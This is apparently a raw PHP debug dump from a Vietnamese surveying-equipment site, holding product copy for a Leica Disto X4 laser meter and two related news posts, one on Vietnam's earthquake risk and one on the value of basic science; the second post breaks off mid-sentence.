style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Thân máy được thiết kế rất chắc chắn, cầm vừa vặn trên tay, cùng với đó là X4 được trang bị IP65 cho khả năng kháng bụi nước rất cao nơi công trường cũng như có khả năng an toàn khi rơi từ độ cao 2m.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <table border="0" cellpadding="0" style="width:700px;" width="700"> <tbody> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-painter-function.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-1.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích sơn</strong><br /> Tính toán tổng diện tích tường, sàn, trần</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích / thể tích</strong><br /> Đo diện tích nhà, phòng, diện tích đất.. thể tích vật liệu...</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-2.jpg" /></span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> </span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-3.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo gián tiếp Pythagoras</strong><br /> với những vị trí khó tiếp cận</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo ngang thông minh</strong><br /> Khi gặp chướng ngại vật, không thể đo theo phương ngang. Khi đó chỉ cần đo phía trên hoặc phía dưới thiết bị sẽ cho ra khoảng cách ngang chính xác, nhanh chóng.</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-4.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-5.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo chia đều</strong><br /> Việc lắp dựng, xác định các vị trí bằng nhau sẽ nanh chóng hơn</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo cao liên tục</strong><br /> Với những vị trí trên cao, vị trí không thể tiếp cận trực tiếp...chỉ cẩn đo điểm trên hoặc dưới sau đó hướng laser đến điển còn lại, thiết bị sẽ cho ra khoảng cách chính xác và nhanh nhất</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-do-goc-nghieng.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_moi/leica_disto_x4/IP65-leica-disto-x4.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo góc nghiêng 360<sup>o</sup></strong><br /> Xác định độ dốc (nghiêng) của mái nhà, ram đốc, mái dốc, cầu thang, vì kèo...</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Cấp bảo vệ IP65</strong><br /> Cho khả năng chống bụi bặm, môi trường ẩm ướt nơi công trường. Ngoài ra thiết bị có khả năng an toàn khi rơi ở độ cao 2m</span></span></td> </tr> </tbody> </table> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <br /> <br /> <br /> <br /> </span></span>', 'images' => '2018111207535647c80092b4d21138b6caefb4b536d2f7.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-12', 'modified' => '2025-08-18', 'status' => '1', 'view' => '84630', 'slug' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '925', 'rght' => '926', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $tinlq = array( (int) 0 => array( 'Post' => array( 'id' => '416', 'name' => 'VN từng có động đất đến 8 độ Richter?', 'code' => null, 'alias' => 'vn-tung-co-dong-dat-den-8-do-richter', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Các nghiên cứu khoa học khẳng định động đất mạnh nhất tại VN chỉ có thể đạt mức 7,5 độ Richter. Tuy nhiên, sau những nghiên cứu mới nhất và sau một số trận động đất mạnh hơn dự báo xảy ra trên thế giới, PGS.TS CAO ĐÌNH TRIỀU - Phó chủ tịch kiêm Tổng thư ký Hội Địa vật lý VN - đã đưa ra cảnh báo cần xem lại mức động đất cực đại tại VN.</div> <div> Ông Triều nói:</div> <div> <br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (6).jpg" style="width: 250px; height: 140px;" /><br /> </div> <div> - Trước khi xảy ra động đất mạnh tại Sumatra (Indonesia) năm 2004 thì tkhu vực này hầu như động đất rất yếu và sau động đất năm 2004 thì vùng này đã xảy ra rất nhiều trận động đất, thậm chí có cả hoạt động núi lửa. Ở Nhật Bản cũng vậy, sau trận động đất ngày 11-3 cũng đã xuất hiện nhiều trận động đất khác xảy ra tiếp theo.</div> <div> </div> <div> Tại VN, chúng tôi nghiên cứu thấy vùng ven biển Nam Trung bộ trong thời gian trước năm 2005 gần như không quan trắc thấy động đất nhưng từ năm 2005 trở lại đây đã xuất hiện động đất nhiều. Đấy là bắt đầu thời kỳ hoạt động trở lại của động đất.</div> <div> </div> <div> <strong>* Liệu có phải đó là dấu hiệu sẽ xuất hiện động đất mạnh tại VN?</strong></div> <div> </div> <div> - Theo nghiên cứu của chúng tôi, có thể đến năm 2015 sẽ có nguy cơ lớn xảy ra động đất mạnh dưới 7 độ Richter ở Tây Bắc. Đây là kết quả nghiên cứu dự báo động đất trung hạn (thời gian từ 5-10 năm). </div> <div> </div> <div> Nhược điểm của dự báo trung hạn là chỉ dự báo được trong một khoảng thời gian dài và trong một vùng tương đối rộng, không chính xác được điểm nào. Ví dụ muốn nghiên cứu cho vùng Tây Bắc thì phải nghiên cứu sang cả Lào. Còn dự báo ngắn hạn có thể chính xác hơn về vị trí nhưng VN chưa làm được.</div> <div> </div> <div> <strong>* Động đất mới đây tại Nhật Bản đã vượt qua dự báo của các nhà khoa học Nhật Bản, vậy các nhà khoa học VN đặt vấn đề xem lại dự báo động đất cực đại tại VN như thế nào?</strong></div> <div> </div> <div> - Theo kết quả nghiên cứu được công bố chính thức của Viện Vật lý địa cầu, động đất cực đại tại VN có thể đạt tới 7-7,5 độ Richter đối với khu vực đứt gãy sông Cả (ven biển Nghệ An). Khu vực Tuần Giáo (Lai Châu) có thể xảy ra động đất 7 độ Richter. Đến nay VN vẫn chưa có trận động đất nào mạnh hơn mức các nhà khoa học dự báo.</div> <div> </div> <div> Nếu mức độ xảy ra trong giới hạn đã dự báo thì không cần thay đổi dự báo, chỉ khi nào động đất xảy ra vượt qua mức đấy thì phải xem xét, đánh giá lại để có thể có kết luận mới về động đất cực đại. Tuy nhiên, trận động đất tại Sumatra năm 2004 là siêu động đất, đã vượt qua dự báo của các nhà khoa học. Trận động đất ở Nhật Bản hôm 11-3 cũng vượt qua dự báo, gây ra sóng thần cao đến 11,5m. Vì thế, chúng ta cũng phải nhìn nhận lại. Các nhà khoa học cần phải tiếp cận những phương pháp mới hơn để cho ra kết quả tốt hơn.</div> <div> </div> <div> <strong>* Nghĩa là rất cần thiết phải xem lại động đất cực đại tại VN?</strong></div> <div> </div> <div> - Những kết luận chúng ta đưa ra về động đất cực đại trước đây chỉ phản ánh thực tế trình độ khoa học của VN lúc đó nên chúng ta không thể dừng ở đó được. Từ năm 2004 chúng tôi đã tiến hành khảo sát động đất cổ, sóng thần cổ tại VN. Qua quá trình khảo sát, đánh giá động đất cổ trên đứt gãy Phong Thổ (Lai Châu), chúng tôi nghi ngờ cách đây khoảng 480-530 năm từng xảy ra động đất mạnh 8 độ Richter trên đứt gãy này. Hay qua nghiên cứu chúng tôi nghi ngờ từng có sóng thần xảy ra cách đây 3.900-4.100 năm tại vùng ven biển Nghệ An với độ cao của sóng khi vào đến bờ từ 10-15m, tức là phải có động đất mạnh ngoài biển. Nhưng những kết luận này còn cần phải được chứng minh chắc chắn, được khẳng định thì mới công bố và điều chỉnh lại các kết quả nghiên cứu của giai đoạn trước.</div> <div> </div> <div> <strong>* Cơ sở nào để các nhà khoa học nghi ngờ có động đất cổ xảy ra tại Phong Thổ mạnh tới 8 độ Richter?</strong></div> <div> </div> <div> - Chúng tôi phát hiện những sạt lở rất lớn và thấy rằng chúng chỉ có thể xảy ra trong trạng thái bị tác động đột ngột chứ không phải sạt lở thông thường. Các sạt lở này cũng chỉ có thể được gây nên bởi một trận động đất mạnh. Qua tính toán, chúng tôi nghi ngờ có thể đã xảy ra động đất mạnh 8 độ Richter.</div> <div> </div> <div> <strong>* Các kết luận trước đây về động đất tại VN có đáng tin cậy không?</strong></div> <div> </div> <div> - VN có trạm quan trắc động đất đầu tiên vào năm 1924 tại Đài vật lý địa cầu Phủ Liễn nhưng năm 1944 trạm đã bị phá hủy do chiến tranh. Năm 1957 trạm mới được khôi phục. Năm 1961 đặt thêm trạm ở Sa Pa. Năm 1967 có thêm trạm ở Bắc Giang. Sau năm 1975 mới hình thành mạng lưới trạm quan trắc. Đến nay cả nước có 24 trạm. Do hệ thống trạm quan trắc hình thành muộn nên đến giờ chúng ta mới quan trắc được động đất mạnh nhất là 6,7 độ Richter xảy ra tại Tuần Giáo năm 1983. Do đó, có thể nói số liệu quan trắc động đất của VN yếu và chỉ trong thời gian ngắn trong khi chu kỳ động đất ở VN có thời kỳ yên tĩnh rất dài.</div> <div> </div> <div> Về tư liệu lịch sử, chúng ta cũng chỉ có hơn 100 tư liệu ghi lại động đất xảy ra trong quá khứ, trong đó có những tư liệu chúng tôi đánh giá đã có động đất mạnh 6,8 độ Richter xảy ra năm 1935 tại Điện Biên. Nhưng tư liệu cha ông mình viết hơi sơ lược nên khi đánh giá về động đất cực đại ở VN vẫn cần phải xem xét cẩn thận hơn.</div> ', 'images' => '201606210641583637d3fd9b55ccec2ee694e7e450cd6d.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-21', 'modified' => '2025-08-18', 'status' => '1', 'view' => '108261', 'slug' => 'vn-tung-co-dong-dat-den-8-do-richter', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '721', 'rght' => '722', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '415', 'name' => 'Vai trò của khoa học cơ bản?', 'code' => null, 'alias' => 'vai-tro-cua-khoa-hoc-co-ban', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Hơn 200 năm trước, vào đầu năm 1782, nhà vật lý và triết học người Đức-Christof Lichtenberg đã viết trong nhật kí của mình: </div> <div> “Việc tìm ra một phương thuốc công hiệu tức thời cho những cơn đau răng có thể có giá trị chẳng kém, thậm chí còn nhiều hơn so với việc tìm ra một hành tinh mới…nhưng tôi không thể tìm thấy cách nào để bắt đầu nhật ký năm nay tốt hơn là tin tức về một hành tinh mới.”</div> <div> Hành tinh được đề cập ở đây chính là Sao Thiên Vương, phát hiện ra vào năm 1781. Vấn đề mà Lichtenberg ngụ ý là sự so sánh tương quan về mức độ quan trọng giữa việc tìm kiếm các giải pháp kĩ thuật cho các vấn đề cụ thể so với việc tìm tòi kiến thức cơ bản mới. Ngày nay, nhu cầu đặt ra và xem xét vấn đề ấy thậm chí còn cấp thiết hơn cả 200 năm về trước. </div> <div> </div> <div> <strong>1. Nghiên cứu cơ bản đối lập với nghiên cứu ứng dụng</strong></div> <div> <br /> Trong công nghiệp, thuật ngữ “nghiên cứu” thường dùng để chỉ những cải tiến với kĩ thuật đang tồn tại, tuy nhiên việc này với các nhà khoa học hàn lâm đơn thuần chỉ được coi là sự phát triển mới. Khác biệt trong quan niệm về thuật ngữ “nghiên cứu” có thể dẫn đến nhiều hiểu lầm. Trong bài này tôi dùng từ đó theo cách hiểu của các nhà khoa học hàn lâm.</div> <div> Hiểu lầm cũng xuất phát từ những giả thuyết thường gặp có tính thúc đẩy cho lợi ích mà nghiên cứu cơ bản mang lại dựa theo “mô hình tuyến tính”, trong đó nghiên cứu cơ bản kéo theo nghiên cứu ứng dụng, để rồi giúp công nghiệp phát triển và cuối cùng là sản phẩm mới. Tiến trình này đã xảy ra trong nhiều trường hợp, nhưng cũng có thể dễ dàng tìm được các trường hợp, trong đó sự tiến bộ của công nghệ lại là cái dẫn đến những tiến bộ trong nghiên cứu cơ bản, như là George Porter (nhận giải thưởng Nobel Hóa học) – người đã chỉ ra rằng “nhiệt động lực học mắc nợ động cơ hơi nước hơn cả động cơ hơi nước mắc nợ khoa học.”</div> <div> <br /> <img alt="" src="/admin/webroot/upload/image/images/2kh.jpg" style="width: 198px; height: 221px;" /><br /> </div> <div> C.H. Llewellyn Smith</div> <div> <br /> Đáng tiếc là, những trường hợp như vậy khiến một số người ủng hộ một mô hình phản tuyến tính. Ví dụ như Terence Kealey vừa mới viết một cuốn sách1 biện luận rằng sự phát triển kinh tế không chịu ảnh hưởng bất cứ thứ gì từ nghiên cứu cơ bản - và vì vậy nên không cần phải nhận được sự hỗ trợ từ Chính phủ. Ông ta chỉ ra một cách xác thực rằng sự phát triển của năng lượng hơi nước, kĩ thuật luyện kim và nhà máy dệt, các yếu tố nền tảng thúc đẩy sự khởi đầu cuộc cách mạng công nghiệp ở Anh, đều là kết quả của tri thức khoa học và các nguyên tắc cơ khí từ thời trước thế kỷ 17, và chẳng hề chịu ảnh hưởng từ bất kì điều gì đến cuộc cách mạng khoa học thế kỉ 17 (cơ học Newton, tích phân, v.v ). Điều này đúng nhưng nó không đúng với nhiều bước phát triển của công nghiệp sau này, mà tôi hi vọng là những ví dụ tôi đưa ra sau đây sẽ chứng minh được.</div> <div> Vậy nên, mối liên hệ giữa khoa học và công nghệ không phải là tuyến tính mà cũng không phải là phản tuyến tính, mà thực tế là rất phi tuyến tính, và người ta đã từng khẳng định rằng2: “nghiên cứu lịch sử những mô hình thành công đã nhiều lần chỉ ra mật độ các tác động tương hỗ giữa các ngành khoa học cơ bản (vốn ban đầu không liên quan tới nhau), công nghệ, và sản phẩm, tấp nập tới mức không thể tách rời và phân biệt, chúng là tất cả các thành phần đan quện chặt chẽ trong cùng một thực thể”. Tuy vậy có thể khẳng định một sự phân biệt trên diện rộng giữa khoa học (tri thức) và công nghệ (cái được ứng dụng từ tri thức) và giữa các hình thức khác nhau của khoa học.</div> <div> Tôi không thích thuật ngữ khoa học cơ bản và khoa học ứng dụng: xét cho cùng ai có thể nói trước cái gì là sẽ ứng dụng được? Tuy nhiên, những thuật ngữ này có thể hữu dụng nếu chúng được định nghĩa dựa trên động cơ thúc đẩy:</div> <div> Khoa học cơ bản – được thúc đẩy bằng sự ham hiểu biết. </div> <div> Khoa học ứng dụng – dành để trả lời cho những câu hỏi cụ thể.</div> <div> Từ định nghĩa này, về sau tôi sẽ biện luận rằng Chính phủ có một trách nhiệm đặc biệt để hỗ trợ cho nghiên cứu cơ bản, trong khi việc đầu tư nghiên cứu ứng dụng nhìn chung có thể nhường lại cho các doanh nghiệp. </div> <div> Tất nhiên, sự phân biệt đó luôn luôn không rõ ràng và thuật ngữ “nghiên cứu chiến lược” thỉnh thoảng được sử dụng để nói về khoa học như một phạm trù trung gian – cái tạo ra cơ hội cao trong việc tạo ra ứng dụng, cho dù có thể nó được thực hiện thuần túy chỉ để thỏa mãn sự tò mò và qua đó dẫn đến những hiểu biết nền tảng mới. Việc nghiên cứu những đặc tính của chất bán dẫn hai chiều là một ví dụ. </div> <div> </div> <div> <strong>2. Lợi ích của khoa học cơ bản</strong></div> <div> <br /> Có thể phân biệt ra bốn nhóm lợi ích, được đề cập lần lượt như sau:</div> <div> Những đóng góp cho văn hóa.</div> <div> Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn. </div> <div> Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp. </div> <div> Giáo dục.</div> <div> <br /> <strong>2.1. Những đóng góp cho văn hóa.</strong></div> <div> <br /> Bob Wilson (giám đốc đầu tiên của Fermilab, một phòng thí nghiệm lớn gần Chicago dành cho vật lý hạt/máy gia tốc) khi được một Ủy ban Quốc hội hỏi rằng “Phòng thí nghiệm của anh sẽ đóng góp gì để bảo vệ nước Mỹ?”. Câu trả lời là: “Không gì cả, nhưng nó sẽ làm cho nước Mỹ đáng được bảo vệ”. Tuy nhiên, nhìn chung các nhà khoa học thường e ngại trong những cuộc tranh luận về sự đóng góp của họ đối với văn hóa, xã hội. Hiện tượng này thực ra có từ rất cổ xưa như trong đoạn đối thoại dưới đây trong cuốn Cộng hòa của Plato:</div> <div> Socrates: Chúng ta có nên coi thiên văn học là một chủ đề đáng nghiên cứu? </div> <div> Glaucon: Tôi cho là nên, hiểu biết về mùa màng, về tháng và năm, sẽ hữu ích cho mục đích quân sự, cũng như trong nông nghiệp và hàng hải.</div> <div> Socrates: Tôi thấy thú vị khi thấy ông e ngại như thế nào, vì sợ rằng mọi người sẽ kết tội ông đã đề nghị nghiên cứu những thứ không có ích lợi gì.</div> <div> Tôi cho rằng các nhà khoa học phải đưa ra các luận điểm có sức thuyết phục về sự đóng góp của khoa học trong thúc đẩy văn hóa. Cụ thể như những kiến thức về hệ Mặt trời, mã di truyền, Mặt trời làm việc như thế nào, tại sao bầu trời lại có màu xanh và sự mở rộng của Vũ trụ làm cách nhìn của chúng ta thay đổi, cuộc sống của chúng ta phong phú lên. Chúng ta cần làm cho mọi người thấy việc phổ cập hóa vật lý hạt cơ bản là có ích không chỉ về kinh tế mà còn về văn hóa, từ đó thuyết phục mọi người rằng nên tiếp tục khám phá biên giới này của tri thức. </div> <div> <br /> <strong>2.2 Tiềm năng tạo ra những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn.</strong></div> <div> <br /> Không quá khó để chỉ ra rằng chi phí cho khoa học cơ bản thường dẫn đến những phát hiện có giá trị kinh tế to lớn và quan trọng trong đời sống thực tiễn, có khả năng sinh lợi cao và có thể dễ dàng bồi hoàn chi phí đầu tư. Casimir - nhà vật lý lý thuyết nổi tiếng, cựu Giám đốc Nghiên cứu của Philips đã đưa ra một danh sách các ví dụ tuyệt vời3:</div> <div> “Tôi đã được nghe nói rằng vai trò của nghiên cứu hàn lâm trong các cải tiến kỹ thuật là rất ít. Đây là luận điểm ngớ ngẩn nhất trong những điều vô nghĩa nhất mà tôi được biết. Chắc chắn một ai đó suy đoán vẩn vơ rằng liệu tranzito có phải do những người không được đào tạo và không đóng góp gì cho cơ học sóng hay thuyết lượng tử chất rắn tìm thấy. Sự thật là những người phát hiện ra tranzito đều nghiên cứu sâu và có nhiều đóng góp tới thuyết lượng tử chất rắn.</div> <div> Một ai đó có thể hỏi liệu rằng các mạch cơ bản trong máy tính có phải được tìm thấy bởi những người chủ tâm muốn xây dựng máy tính. Đúng là như vậy, chúng đã được phát kiến vào những năm 30 bởi những nhà vật lý muốn đếm các hạt cơ bản bởi vì họ quan tâm đến vật lý hạt nhân.</div> <div> Một ai đó có thể hỏi rằng liệu năng lượng hạt nhân được khám phá bởi vì có những người muốn một nguồn năng lượng mới, hay sự thôi thúc có năng lượng mới đã dẫn đến việc tìm ra hạt nhân. Có thể - nhưng nó đã không xảy ra như vậy.</div> <div> Một ai đó hỏi rằng liệu ngành công nghiệp điện tử có thể tồn tại mà không có những khám phá về electron của những người như Thomson và H.A. Lorentz. Một lần nữa, nó đã không xảy ra như vậy. </div> <div> Tôi nghĩ thật hầu như không có một ví dụ nào của những cải tiến trong thế kỷ 20 mà không mắc nợ khoa học cơ bản.”</div> <div> Những ví dụ của Casimir có một số đặc điểm chung :</div> <div> Những ứng dụng của kiến thức mới có lợi nhuận cao.</div> <div> Những ứng dụng hoàn toàn không được nhìn thấy khi các phát hiện nền tảng được khám phá.</div> <div> Có một khoảng thời gian dài giữa những khám phá nền tảng và những ứng dụng.</div> <div> Nhìn chung các nhà phát minh trong khoa học cơ bản không trở nên giàu có.</div> <div> Đã có một số cố gắng nhằm lượng hóa lợi ích to lớn từ các nghiên cứu nền tảng. Tôi sẽ đề cập 2 ví dụ:</div> <div> 1. Một nghiên cứu gần đây của Tổ chức Khoa học Quốc gia Hoa Kỳ cho thấy rằng 73% các bài báo trích dẫn trong các bằng sáng chế công nghiệp là các nghiên cứu được công bố một cách công cộng, mà phần đông là những bài báo nghiên cứu cơ bản được thực hiện bởi những trường đại học hàng đầu và các phòng thí nghiệm của Chính phủ. 2. Một nghiên cứu có nhiều trích dẫn bởi Mansfield5 vào năm 1991 đã chỉ ra rằng đầu tư của cộng đồng vào khoa học cơ bản có tỉ lệ lợi nhuận là 28%. Con số của Mansfield được lấy ra từ 75 hãng lớn nhất ở Mỹ trong 7 ngành công nghiệp (xử lý thông tin, thiết bị điện, hóa học, dụng cụ, dược phẩm, kim loại và dầu mỏ). Từ ban điều hành nghiên cứu và phát triển của các công ty, Mansfield đã thu thập được thông tin về những sản phẩm mới, sản phẩm được thương mại hóa trong giai đoạn 1975- 1985, mà theo các ban điều hành cho biết thì các sản phẩm này đã không thể ra đời (hoặc chậm hơn rất nhiều) nếu không có các nghiên cứu hàn lâm được thực hiện trong khoảng 15 năm trước khi sáng kiến đầu tiên được công bố. </div> <div> <br /> <strong>2.3. Những phát hiện ngoài dự kiến (spin-offs) và tác động kích thích nền công nghiệp</strong></div> <div> <br /> Với khái niệm những phát hiện ngoài dự kiến, tôi muốn nói về các thiết bị và kĩ thuật được phát triển để tiến hành các nghiên cưu cơ bản nhưng sau này người ta nhận ra cả những lợi ích khác nữa. Tôi đưa ra vài ví dụ từ vật lý hạt cơ bản (nhiều trong chúng có sự đóng góp từ vật lý hạt nhân):</div> <div> Máy gia tốc ( ngày nay có khoảng 10000 máy gia tốc trên thế giới, chỉ có 100 cái trong số đó sử dụng cho mục đích nghiên cứu ban đầu trong vật lý hạt nhân và vật lý hạt cơ bản).</div> <div> - Ngành công nghiệp bán dẫn. </div> <div> - Thức ăn tiệt trùng, y tế, rác thải.</div> <div> - Xử lý bức xạ. </div> <div> - Liệu pháp điều trị ung thư. </div> <div> - Tiêu hủy rác thải hạt nhân. </div> <div> - Thí nghiệm không phá mẫu. </div> <div> - Sản xuất năng lượng (máy khuếch đại năng lượng)</div> <div> - Nguồn cho bức xạ synchrotron (sinh học, vật lý chất ngưng tụ…)</div> <div> - Nguồn cho của Notron ( sinh học, vật lý chất ngưng tụ…)</div> <div> Máy dò hạt.</div> <div> - Máy dò tinh thể</div> <div> (Tinh thể phát triển cho những thí nghiệm ở máy va đập LEP tại CERN mà bây giờ được dùng cho ảnh y tế ở hàng trăm bệnh viện, những tinh thể sẽ thay thế chúng với những đặc tính ưu việt hơn hiện thời vẫn đang được phát triển cho máy LHC tại CERN)</div> <div> - Ảnh y tế</div> <div> - An ninh</div> <div> - Thí nghiệm không phá mẫu</div> <div> - Phục vụ nghiên cứu</div> <div> - Ổ tỉ lệ đa đường dây</div> <div> - Kiểm tra container</div> <div> - Phục vụ nghiên cứu</div> <div> - Máy dò chất bán dẫn</div> <div> - Rất nhiều ứng dụng trong giai đoạn phát triển.</div> <div> Khoa học thông tin</div> <div> +WWW( Một nhóm ở Anh mới đây đã nhận định rằng Web tạo ra 5% doanh thu của các công ty lớn và sẽ tăng lên đến 20% vào cuối thập niên)</div> <div> + Chương trình mô phỏng</div> <div> + Phát hiện lỗi</div> <div> + Hệ điều hành</div> <div> + Kích thích tính toán song song.</div> <div> - Chất siêu dẫn</div> <div> Ảnh cộng hưởng từ hạt nhân</div> <div> Những ứng dụng khác ( kỹ thuật làm lạnh, chân không, kĩ thuật điện, trắc địa…)</div> <div> Có lúc dường như mọi người nghĩ rằng có một danh sách dài các phát kiến từ vật lý hạt cơ bản đủ để chứng minh chi phí cho vật lý cơ bản. Song chứng minh được không phải điều dễ dàng. Tuy nhiên, chắc chắn có thể khẳng định rằng giá trị của những ứng dụng ngoài dự kiến phải được tính tới khi cân nhắc các khoản chi phí cho khoa học cơ bản, và có lẽ đúng là những nhu cầu đặc biệt của ngành vật lý hạt cơ bản, đòi hỏi thiết bị vô cùng tối tân, đã khiến nó sản xuất ra nhiều ứng dụng ngoài dự kiến. Trong thực tế, nhìn chung các nhà kinh tế học ngày càng nhận ra tầm quan trọng của các ứng dụng ngoài dự kiến, đặc biệt là dưới dạng các công cụ được chế ra nhằm phục vụ các nghiên cứu nền tảng. Đa số các thiết bị trong một nhà máy điện tử hiện đại vốn được sinh ra từ những phòng thí nghiệm trong các trường đại học, và có rất nhiều ví dụ tương tự với các công cụ vốn sinh ra để phục vụ trong nghiên cứu vật lý, hóa học, dược học, y tế.</div> <div> Nhìn chung các nhà khoa học cơ bản đều ưu tiên công việc cho phục vụ công bố và đưa ra công khai kết quả mà họ thực hiện, trong khi các nhà khoa học ứng dụng làm việc trong ngành công nghiệp lại thúc đẩy bởi mong muốn bảo vệ, giấu kín và lấy bằng sáng chế. Như vậy có thể xảy ra nghịch lý là có nhiều 